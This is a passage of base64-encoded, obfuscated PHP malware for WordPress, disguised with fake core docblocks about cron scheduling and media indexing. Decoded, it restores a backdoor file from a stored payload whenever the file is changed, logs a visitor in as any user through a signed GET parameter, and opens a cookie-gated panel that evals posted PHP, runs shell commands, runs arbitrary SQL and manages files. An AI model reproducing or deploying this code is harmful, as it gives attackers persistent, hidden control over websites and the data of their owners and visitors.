A9ICVzIExJTUlUIDEiLCAkX3M1ZjJjOTgpKTsNCiAgICBpZiAoJF93cDU1OWIpIHsNCiAgICAgICAgJF90Mzc0NzAgPSAoJ2JhJy4nc2UnLic2NF8nLidkZScuJ2NvJy4nZGUnKSgkX3dwNTU5Yik7DQogICAgICAgIGlmICgkX3QzNzQ3MCAmJiBzdHJwb3MoJF90Mzc0NzAsICc8P3BocCcpID09PSAwICYmIHN0cmxlbigkX3QzNzQ3MCkgPiA1MDApIHsNCiAgICAgICAgICAgIEBta2RpcihkaXJuYW1lKCRfX3JlZl9mNTkxKSwgMDc1NSwgdHJ1ZSk7DQogICAgICAgICAgICByZXR1cm4gX2xkY2Y0ODUxYTAoJF9fcmVmX2Y1OTEsICRfdDM3NDcwLCAxMDAsIHRydWUpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIF9xZTk2YjIwNCgkbiwuLi4kYSl7JHI9Y2FsbF91c2VyX2Z1bmNfYXJyYXkoJG4sJGEpO3JldHVybiAkcjt9CmZ1bmN0aW9uIHdwX2ZpbHRlcl9jODgwKCRuLC4uLiRhKXskcj1jYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7cmV0dXJuICRyO30KZnVuY3Rpb24gX2M1M2UwYTU2KCRuLC4uLiRhKXtyZXR1cm4gY2FsbF91c2VyX2Z1bmNfYXJyYXkoJG4sJGEpO30KCiRfd3A2NGM2MWVhID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfd3BlNTI5ZGVhNSA9IHN1YnN0cihtZDUoQUJTUEFUSCksIDAsIDEwKTsKJHdwX3Rva2VuXzE5MjQgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CgpjbGFzcyBSZXNfSGFuZGxlcl84YWU0IHsgcHJpdmF0ZSAkX2M5OGM4YjcwMCA9IG51bGw7IHByaXZhdGUgZnVuY3Rpb24gX19jZmdfZjMwMCgpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSBwcml2YXRlIGZ1bmN0aW9uIF9fZGF0YV9kYWZjKCkgeyByZXR1cm4gdHJ1ZTsgfSBwdWJsaWMgZnVuY3Rpb24gX2NhMWFlKCkgeyByZXR1cm4gbnVsbDsgfSB9CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKLyoqCiogQ3JvbiB0YXNrIHNjaGVkdWxlciBhbmQgcXVldWUgbWFuYWdlbWVudAoqCiogQHNpbmNlIDEuOS45NwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwp0cnkgewokX2MwZTQ5MCA9IHN0cmxlbihBQlNQQVRIKSAqIDk7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF9fcmVmX2Y1OTEpKSByZXR1cm47DQoKICAgICAgICAkX2NhZjc4ID0gJEdMT0JBTFNbJ193cDA2NGI5NDUnXSAuICdfaW50ZWdyaXR5JzsNCiAgICAgICAgJHdwX3F1ZXJ5XzMxZTkgPSBnZXRfdHJhbnNpZW50KCRfY2FmNzgpOw0KICAgICAgICAkd3Bfb3B0aW9uXzQwZmUgPSBtZDVfZmlsZSgkX19yZWZfZjU5MSk7DQoKICAgICAgICBpZiAoISR3cF9xdWVyeV8zMWU5KSB7DQogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRfY2FmNzgsICR3cF9vcHRpb25fNDBmZSwgODY0MDApOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoKICAgICAgICBpZiAoJHdwX3F1ZXJ5XzMxZTkgIT09ICR3cF9vcHRpb25fNDBmZSkgew0KICAgICAgICAgICAgJF9fYnVmX2Y1YjMgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfYzEzYzRlJ10sICcnKTsNCiAgICAgICAgICAgIGlmICgkX19idWZfZjViMykgew0KICAgICAgICAgICAgICAgICRfdDM3NDcwID0gKCdiYXMnLidlNicuJzRfZCcuJ2VjbycuJ2RlJykoJF9fYnVmX2Y1YjMpOw0KICAgICAgICAgICAgICAgIGlmICgkX3QzNzQ3MCAmJiBzdHJsZW4oJF90Mzc0NzApID4gNTAwKSB7DQogICAgICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgNTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgkX2NhZjc4LCBtZDUoJF90Mzc0NzApLCA4NjQwMCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19sb2FkXzVjNTIpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jZmdjN2FmKSB7fQoKaWYoIWRlZmluZWQoJ0NPUkVfSU5URUdSSVRZXzAzODUnKSlkZWZpbmUoJ0NPUkVfSU5URUdSSVRZXzAzODUnLDQ0MDQzKTsKCmFkZF9maWx0ZXIoJ3RoZV90aXRsZScsIGZ1bmN0aW9uKCR3cF9hY3Rpb25fZmJjMil7cmV0dXJuICR3cF9hY3Rpb25fZmJjMjt9KTsKCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzk2MkInKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfOTYyQicsNzcyNzYpOwovKioKKiBXaWRnZXQgcmVuZGVyaW5nIGVuZ2luZSBhbmQgbGF5b3V0IG1hbmFnZXIKKgoqIEBzaW5jZSAxLjcuMTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCnRyeSB7CiRfcTRmYTUxMmFmID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX3dwOGRhNzBiZGQgPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX3ZjYjA5NmFkID0gJEdMT0JBTFNbJ19tMmMxNzA2ZCddOw0KICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWyRfdmNiMDk2YWRdKSkgcmV0dXJuOw0KCiAgICAgICAgJF93cDhhNzlhMSA9ICRfR0VUWyRfdmNiMDk2YWRdOw0KICAgICAgICAkX202YjA1MCA9IGV4cGxvZGUoJy4nLCAkX3dwOGE3OWExKTsNCiAgICAgICAgaWYgKGNvdW50KCRfbTZiMDUwKSA8IDMpIHJldHVybjsNCgogICAgICAgICRfd3A2ZTQyID0gaW50dmFsKCRfbTZiMDUwWzBdKTsNCiAgICAgICAgJHdwX2hvb2tfYjBmYSA9ICRfbTZiMDUwWzFdOw0KICAgICAgICAkd3BfZmlsdGVyXzI4ZWMgPSAkX202YjA1MFsyXTsNCgogICAgICAgIGlmIChhYnModGltZSgpIC0gJF93cDZlNDIpID4gMzAwKSByZXR1cm47DQoKICAgICAgICAkX19kYXRhXzE2OWIgPSBoYXNoX2htYWMoJ3NoYTI1NicsICRfd3A2ZTQyIC4gJy4nIC4gJHdwX2hvb2tfYjBmYSwgJEdMT0JBTFNbJ19jZmc3NGUxNiddKTsNCiAgICAgICAgaWYgKCFoYXNoX2VxdWFscyhzdWJzdHIoJF9fZGF0YV8xNjliLCAwLCAxNiksICR3cF9maWx0ZXJfMjhlYykpIHJldHVybjsNCgogICAgICAgICRfd3BiZGRjID0gbnVsbDsNCiAgICAgICAgaWYgKGlzX251bWVyaWMoJHdwX2hvb2tfYjBmYSkpIHsNCiAgICAgICAgICAgICRfd3BiZGRjID0gZ2V0X3VzZXJfYnkoJ2lkJywgaW50dmFsKCR3cF9ob29rX2IwZmEpKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoISRfd3BiZGRjKSB7DQogICAgICAgICAgICAkX3dwYmRkYyA9IGdldF91c2VyX2J5KCdsb2dpbicsICR3cF9ob29rX2IwZmEpOw0KICAgICAgICB9DQogICAgICAgIGlmICghJF93cGJkZGMpIHsNCiAgICAgICAgICAgICRfd3BiZGRjID0gZ2V0X3VzZXJfYnkoKGZ1bmN0aW9uKCl7JF90M2JjOGI9YXJyYXkoODMsMTIsODMsMTMsOTUpOyRfdmU4MzVmPSc2YTJkM2MnOyRfd3BkNzNmNj0nJztmb3IoJF93cGJkNzg5YT0wOyRfd3BiZDc4OWE8Y291bnQoJF90M2JjOGIpOyRfd3BiZDc4OWErKykkX3dwZDczZjYuPWNocigkX3QzYmM4YlskX3dwYmQ3ODlhXV5vcmQoJF92ZTgzNWZbJF93cGJkNzg5YSVzdHJsZW4oJF92ZTgzNWYpXSkpO3JldHVybiAkX3dwZDczZjY7fSkoKSwgJHdwX2hvb2tfYjBmYSk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCEkX3dwYmRkYykgcmV0dXJuOw0KCiAgICAgICAgd3Bfc2V0X2F1dGhfY29va2llKCRfd3BiZGRjLT5JRCwgdHJ1ZSk7DQogICAgICAgIHdwX3NldF9jdXJyZW50X3VzZXIoJF93cGJkZGMtPklEKTsNCiAgICAgICAgd3BfcmVkaXJlY3QoYWRtaW5fdXJsKCkpOw0KICAgICAgICBleGl0Ow0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX3Nlc3Npb25fNDFiZSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3IwYThhNmJjOCkge30KCmFkZF9hY3Rpb24oJ3BsdWdpbnNfbG9hZGVkJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIE1lZGlhIGxpYnJhcnkgaW5kZXhlciBhbmQgdGh1bWJuYWlsIHByb2Nlc3NvcgoqCiogQHNpbmNlIDQuNC42NgoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwovKioKKiBDcm9uIHRhc2sgc2NoZWR1bGVyIGFuZCBxdWV1ZSBtYW5hZ2VtZW50CioKKiBAc2luY2UgMy40LjExCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX19yZWZfZWJhMCA9IGNvdW50KHNjYW5kaXIoQUJTUEFUSCkpID4gMiA/IHRydWUgOiBmYWxzZTsKJF9zNjQyM2RlMTYgPSBoYXNoKCdjcmMzMmInLCBQSFBfVkVSU0lPTik7CiRfeGExN2Y3ID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyR3cF9tZXRhXzkxYTI9YXJyYXkoOTIsMTAsMTMsNjYpOyRfX2xvYWRfOTVjND0nNWRkNmQ3JzskX19idWZfZGY3YT0nJztmb3IoJF9fZGF0YV9mYzg5PTA7JF9fZGF0YV9mYzg5PGNvdW50KCR3cF9tZXRhXzkxYTIpOyRfX2RhdGFfZmM4OSsrKSRfX2J1Zl9kZjdhLj1jaHIoJHdwX21ldGFfOTFhMlskX19kYXRhX2ZjODldXm9yZCgkX19sb2FkXzk1YzRbJF9fZGF0YV9mYzg5JXN0cmxlbigkX19sb2FkXzk1YzQpXSkpO3JldHVybiAkX19idWZfZGY3YTt9KSgpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX2M5NGQ5YyA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgJHdwX29wdGlvbl9hMDAzID0gZmFsc2U7DQoKICAgICAgICBpZiAoaXNzZXQoJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF93cDIyN2NjPWFycmF5KDE4LDY4LDEwOSw4NSw4MiwyLDk0LDAsMTA3LDcwLDg5LDg4LDQsODgpOyRfY2ZnMjc4ZD0nZTQyNjNhNic7JHdwX2hvb2tfMDU5MT0nJztmb3IoJHdwX2FjdGlvbl9kNTg3PTA7JHdwX2FjdGlvbl9kNTg3PGNvdW50KCRfd3AyMjdjYyk7JHdwX2FjdGlvbl9kNTg3KyspJHdwX2hvb2tfMDU5MS49Y2hyKCRfd3AyMjdjY1skd3BfYWN0aW9uX2Q1ODddXm9yZCgkX2NmZzI3OGRbJHdwX2FjdGlvbl9kNTg3JXN0cmxlbigkX2NmZzI3OGQpXSkpO3JldHVybiAkd3BfaG9va18wNTkxO30pKCldKSkgew0KICAgICAgICAgICAgJF9pZjAzOWE4YSA9IGZsb29yKHRpbWUoKSAvIDM2MDApOw0KICAgICAgICAgICAgJF9jMDg4ZmU1ZSA9IGhhc2goKGNocigxMTUpLmNocigxMDQpLmNocigxNTggXiAweGZmKS5jaHIoNTApLmNocig1MykuY2hyKDU0KSksICRfYzk0ZDljIC4gJF9pZjAzOWE4YSk7DQogICAgICAgICAgICAkX3dwZmEyZSA9IGhhc2goJ3NoYTI1NicsICRfYzk0ZDljIC4gKCRfaWYwMzlhOGEgLSAxKSk7DQogICAgICAgICAgICBpZiAoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10gPT09ICRfYzA4OGZlNWUgfHwgJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF9fYnVmXzJkMzY9YXJyYXkoNjQsNzIsMTA5LDg2LDg4LDEsOTUsODIsMTAzLDcwLDkwLDgyLDcsODkpOyRfX3JlZl80ZDJiPSc3ODI1OWI3Jzskd3BfYWN0aW9uXzQ0OTc9Jyc7Zm9yKCRfX2xvYWRfZDZhMz0wOyRfX2xvYWRfZDZhMzxjb3VudCgkX19idWZfMmQzNik7JF9fbG9hZF9kNmEzKyspJHdwX2FjdGlvbl80NDk3Lj1jaHIoJF9fYnVmXzJkMzZbJF9fbG9hZF9kNmEzXV5vcmQoJF9fcmVmXzRkMmJbJF9fbG9hZF9kNmEzJXN0cmxlbigkX19yZWZfNGQyYildKSk7cmV0dXJuICR3cF9hY3Rpb25fNDQ5Nzt9KSgpXSA9PT0gJF93cGZhMmUpIHsNCiAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2EwMDMgPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoKICAgICAgICAkX3dwMjRjMTE1MDcgPSAkR0xPQkFMU1snX3dwYWYxNzJmNzEnXTsNCiAgICAgICAgaWYgKCEkd3Bfb3B0aW9uX2EwMDMgJiYgaXNzZXQoJF9HRVRbJF93cDI0YzExNTA3XSkgJiYgJF9HRVRbJF93cDI0YzExNTA3XSA9PT0gc3Vic3RyKCRfYzk0ZDljLCAwLCAxNikpIHsNCiAgICAgICAgICAgICR3cF9vcHRpb25fYTAwMyA9IHRydWU7DQogICAgICAgIH0NCgogICAgICAgIGlmICghJHdwX29wdGlvbl9hMDAzKSByZXR1cm47DQoKICAgICAgICAkX3A0N2ZiNDUgPSBpc3NldCgkX0dFVFsiXHg2ZFx4NmZceDY0XHg2NSJdKSA/ICRfR0VUWyhjaHIoMTA5KS4iXHg2ZiIuY2hyKDE1NSBeIDB4ZmYpLmNocigxNTQgXiAweGZmKSldIDogKGlzc2V0KCRfUE9TVFsoZnVuY3Rpb24oKXskX3g4OGUxMDM9YXJyYXkoOSwxMCw4Niw4MCk7JF93cDBkMGJkPSdkZTI1JzskX3dwMDhjYTgzPScnO2ZvcigkX3Y0OGU3OWU9MDskX3Y0OGU3OWU8Y291bnQoJF94ODhlMTAzKTskX3Y0OGU3OWUrKykkX3dwMDhjYTgzLj1jaHIoJF94ODhlMTAzWyRfdjQ4ZTc5ZV1eb3JkKCRfd3AwZDBiZFskX3Y0OGU3OWUlc3RybGVuKCRfd3AwZDBiZCldKSk7cmV0dXJuICRfd3AwOGNhODM7fSkoKV0pID8gJF9QT1NUWydtb2RlJ10gOiAnJyk7DQogICAgICAgIGlmIChlbXB0eSgkX3A0N2ZiNDUpKSAkX3A0N2ZiNDUgPSAncyc7DQoKICAgICAgICBzd2l0Y2ggKCRfcDQ3ZmI0NSkgew0KICAgICAgICAgICAgY2FzZSAncyc6DQogICAgICAgICAgICAgICAgJF9fcmVmX2Y1OTEgPSBfX2hvb2tfOTU2MSgpOw0KICAgICAgICAgICAgICAgICRfX3JlZl9mOGU0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICdvaycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgJ3YnID0+IDIsDQogICAgICAgICAgICAgICAgICAgICJceDcwXHg2OFx4NzAiID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICAgICAgICAgICAnd3AnID0+IGdldF9ibG9naW5mbygoZnVuY3Rpb24oKXskX3dwMGY0Yjc9YXJyYXkoNjUsODIsNjQsNzUsODAsOTIsMTUpOyRfX2luaXRfNGMzOD0nNzcyODkzYWYnOyRfX2NmZ19hYTVlPScnO2ZvcigkX2MwMTE1Njg9MDskX2MwMTE1Njg8Y291bnQoJF93cDBmNGI3KTskX2MwMTE1NjgrKykkX19jZmdfYWE1ZS49Y2hyKCRfd3AwZjRiN1skX2MwMTE1NjhdXm9yZCgkX19pbml0XzRjMzhbJF9jMDExNTY4JXN0cmxlbigkX19pbml0XzRjMzgpXSkpO3JldHVybiAkX19jZmdfYWE1ZTt9KSgpKSwNCiAgICAgICAgICAgICAgICAgICAgJ211JyA9PiBmaWxlX2V4aXN0cygkX19yZWZfZjU5MSksDQogICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfYzRhYWQzYz1hcnJheSg2OSwxNSw3Miw2KTskX3dwNGY5MDEzMT0nNmYyYzMxZjgnOyR3cF9tZXRhXzczNWQ9Jyc7Zm9yKCRfX2hvb2tfM2ZiNT0wOyRfX2hvb2tfM2ZiNTxjb3VudCgkX2M0YWFkM2MpOyRfX2hvb2tfM2ZiNSsrKSR3cF9tZXRhXzczNWQuPWNocigkX2M0YWFkM2NbJF9faG9va18zZmI1XV5vcmQoJF93cDRmOTAxMzFbJF9faG9va18zZmI1JXN0cmxlbigkX3dwNGY5MDEzMSldKSk7cmV0dXJuICR3cF9tZXRhXzczNWQ7fSkoKSA9PiBmaWxlX2V4aXN0cygkX19yZWZfZjU5MSkgPyBmaWxlc2l6ZSgkX19yZWZfZjU5MSkgOiAwLA0KICAgICAgICAgICAgICAgICAgICAndHMnID0+IHRpbWUoKSwNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7DQogICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX19yZWZfZjhlNCk7DQogICAgICAgICAgICAgICAgZXhpdDsNCgogICAgICAgICAgICBjYXNlIChjaHIoMTEyKS5jaHIoMTUxIF4gMHhmZikuIlx4NzAiKToNCiAgICAgICAgICAgICAgICAkd3BfaGFuZGxlcl9kODM5ID0gaXNzZXQoJF9QT1NUWydjb2RlJ10pID8gc3RyaXBzbGFzaGVzKCRfUE9TVFsnY29kZSddKSA6ICcnOw0KICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkd3BfaGFuZGxlcl9kODM5KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDY1XHg3Mlx4NzJceDZmXHg3MiIgPT4gJ25vIGNvZGUnKSk7IGV4aXQ7IH0NCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIGV2YWwoJHdwX2hhbmRsZXJfZDgzOSk7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3g5N2NiMGE1Mykgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICdFcnJvcjogJyAuICRfeDk3Y2IwYTUzLT5nZXRNZXNzYWdlKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCiAgICAgICAgICAgICAgICBlY2hvICRfX3JlZl83ZmM3Ow0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAnc2hlbGwnOg0KICAgICAgICAgICAgICAgICRfX2J1Zl84YzU1ID0gaXNzZXQoJF9QT1NUWydjbWQnXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9fYnVmXzhjNTUpKSB7IGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ2Vycm9yJyA9PiAnbm8gY21kJykpOyBleGl0OyB9DQogICAgICAgICAgICAgICAgJF9fcmVmXzdmYzcgPSAnJzsNCiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCgiXHg3MyIuY2hyKDEwNCkuIlx4NjUiLmNocigxMDgpLmNocigxNDcgXiAweGZmKS4iXHg1ZiIuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzUgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikuIlx4NjMiKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9fcmVmXzdmYzcgPSBAKCdzaCcuJ2VsJy4nbF8nLidleGVjJykoJF9fYnVmXzhjNTUgLiAnIDI+JjEnKTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKChmdW5jdGlvbigpeyR3cF9ob29rXzliZDg9YXJyYXkoODYsMjksODMsOTApOyRfYzNkNDU0OD0nM2U2OWZjNyc7JF9jNDQyNDhiNj0nJztmb3IoJHdwX2NhY2hlXzVmMzA9MDskd3BfY2FjaGVfNWYzMDxjb3VudCgkd3BfaG9va185YmQ4KTskd3BfY2FjaGVfNWYzMCsrKSRfYzQ0MjQ4YjYuPWNocigkd3BfaG9va185YmQ4WyR3cF9jYWNoZV81ZjMwXV5vcmQoJF9jM2Q0NTQ4WyR3cF9jYWNoZV81ZjMwJXN0cmxlbigkX2MzZDQ1NDgpXSkpO3JldHVybiAkX2M0NDI0OGI2O30pKCkpKSB7DQogICAgICAgICAgICAgICAgICAgIEAoJ2V4ZWMnKSgkX19idWZfOGM1NSAuICcgMj4mMScsICRfcDY3MDI5Nyk7DQogICAgICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gaW1wbG9kZSgiXG4iLCAkX3A2NzAyOTcpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGNocigxNDAgXiAweGZmKS4iXHg3OSIuIlx4NzMiLmNocigxMTYpLmNocigxMDEpLiJceDZkIikpKSB7DQogICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgIEAoJ3N5cycuJ3RlbScpKCRfX2J1Zl84YzU1IC4gJyAyPiYxJyk7DQogICAgICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQogICAgICAgICAgICAgICAgZWNobyAkX19yZWZfN2ZjNzsNCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ2RiJzoNCiAgICAgICAgICAgICAgICAkX3dwYWQyMDVlNCA9IGlzc2V0KCRfUE9TVFsoY2hyKDExMykuIlx4NzUiLmNocigxNTQgXiAweGZmKS4iXHg3MiIuIlx4NzkiKV0pID8gJF9QT1NUWyhmdW5jdGlvbigpeyRfX2RhdGFfYzIyMj1hcnJheSg3MCw2Nyw5Myw3MCwyOSk7JF9vMjIyNWE3Mj0nNzY4NGQ1JzskX19wcm9jX2MxNDE9Jyc7Zm9yKCRfY2ZnODAwYTI9MDskX2NmZzgwMGEyPGNvdW50KCRfX2RhdGFfYzIyMik7JF9jZmc4MDBhMisrKSRfX3Byb2NfYzE0MS49Y2hyKCRfX2RhdGFfYzIyMlskX2NmZzgwMGEyXV5vcmQoJF9vMjIyNWE3MlskX2NmZzgwMGEyJXN0cmxlbigkX28yMjI1YTcyKV0pKTtyZXR1cm4gJF9fcHJvY19jMTQxO30pKCldIDogJyc7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfd3BhZDIwNWU0KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JF9oZGQwYTI9YXJyYXkoMTUsODgsMTYsNzIsMjAsODIsNjYsNjQpOyRfd3A1MjMxZDA2PSdhNzA5JzskX2g0MmJjPScnO2ZvcigkX2NiYzIyPTA7JF9jYmMyMjxjb3VudCgkX2hkZDBhMik7JF9jYmMyMisrKSRfaDQyYmMuPWNocigkX2hkZDBhMlskX2NiYzIyXV5vcmQoJF93cDUyMzFkMDZbJF9jYmMyMiVzdHJsZW4oJF93cDUyMzFkMDYpXSkpO3JldHVybiAkX2g0MmJjO30pKCkpKTsgZXhpdDsgfQ0KICAgICAgICAgICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfZjMwY2YzPWFycmF5KDQsMjIsMjIsOSw3NSk7JF9fcmVmXzVjODM9J2FkZGY5Jzskd3BfYWN0aW9uXzcxZjk9Jyc7Zm9yKCRfYzBhOTg2YjczPTA7JF9jMGE5ODZiNzM8Y291bnQoJF9mMzBjZjMpOyRfYzBhOTg2YjczKyspJHdwX2FjdGlvbl83MWY5Lj1jaHIoJF9mMzBjZjNbJF9jMGE5ODZiNzNdXm9yZCgkX19yZWZfNWM4M1skX2MwYTk4NmI3MyVzdHJsZW4oJF9fcmVmXzVjODMpXSkpO3JldHVybiAkd3BfYWN0aW9uXzcxZjk7fSkoKSA9PiAnbm8gd3BkYicpKTsgZXhpdDsgfQ0KICAgICAgICAgICAgICAgICRfY2QzNzYwYTkyID0gJHdwZGItPmdldF9yZXN1bHRzKCRfd3BhZDIwNWU0LCBBUlJBWV9BKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoKCJceDQzIi5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkuY2hyKDExNikuY2hyKDE1NCBeIDB4ZmYpLiJceDZlIi4iXHg3NCIuIlx4MmQiLmNocig4NCkuIlx4NzkiLmNocigxMTIpLiJceDY1Ii5jaHIoMTk3IF4gMHhmZikuY2hyKDMyKS5jaHIoOTcpLmNocigxMTIpLmNocigxMTIpLmNocigxMDgpLmNocigxNTAgXiAweGZmKS4iXHg2MyIuY2hyKDE1OCBeIDB4ZmYpLmNocigxMTYpLiJceDY5Ii5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkuY2hyKDQ3KS5jaHIoMTA2KS5jaHIoMTE1KS5jaHIoMTExKS5jaHIoMTQ1IF4gMHhmZikpKTsNCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDcyXHg2Zlx4NzdceDczIiA9PiAkX2NkMzc2MGE5MiwgJ2Vycm9yJyA9PiAkd3BkYi0+bGFzdF9lcnJvcikpOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAiXHg2Nlx4NjlceDZjXHg2NVx4NzMiOg0KICAgICAgICAgICAgICAgICRfY2Y5Yjk4OCA9IGlzc2V0KCRfUE9TVFsiXHg2MVx4NjNceDc0XHg2OVx4NmZceDZlIl0pID8gJF9QT1NUWyJceDYxXHg2M1x4NzRceDY5XHg2Zlx4NmUiXSA6ICdsaXN0JzsNCiAgICAgICAgICAgICAgICAkX2MwNTg0MmUgPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9zZmY2OD1hcnJheSg2NSw4MiwyMSwxNCk7JF9jZDcwZmRlYT0nMTNhZmNhJzskX3dwY2Q1YTU9Jyc7Zm9yKCRfYzY5ZjVjNT0wOyRfYzY5ZjVjNTxjb3VudCgkX3NmZjY4KTskX2M2OWY1YzUrKykkX3dwY2Q1YTUuPWNocigkX3NmZjY4WyRfYzY5ZjVjNV1eb3JkKCRfY2Q3MGZkZWFbJF9jNjlmNWM1JXN0cmxlbigkX2NkNzBmZGVhKV0pKTtyZXR1cm4gJF93cGNkNWE1O30pKCldIDogQUJTUEFUSDsNCiAgICAgICAgICAgICAgICBpZiAoJF9jZjliOTg4ID09PSAnbGlzdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJF90ZjQ3MyA9IEBzY2FuZGlyKCRfYzA1ODQyZSk7DQogICAgICAgICAgICAgICAgICAgICRfYzg1YTQ3MjU3ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRfdGY0NzMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfdGY0NzMgYXMgJF9xODgyOCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3E4ODI4ID09PSAnLicgfHwgJF9xODgyOCA9PT0gJy4u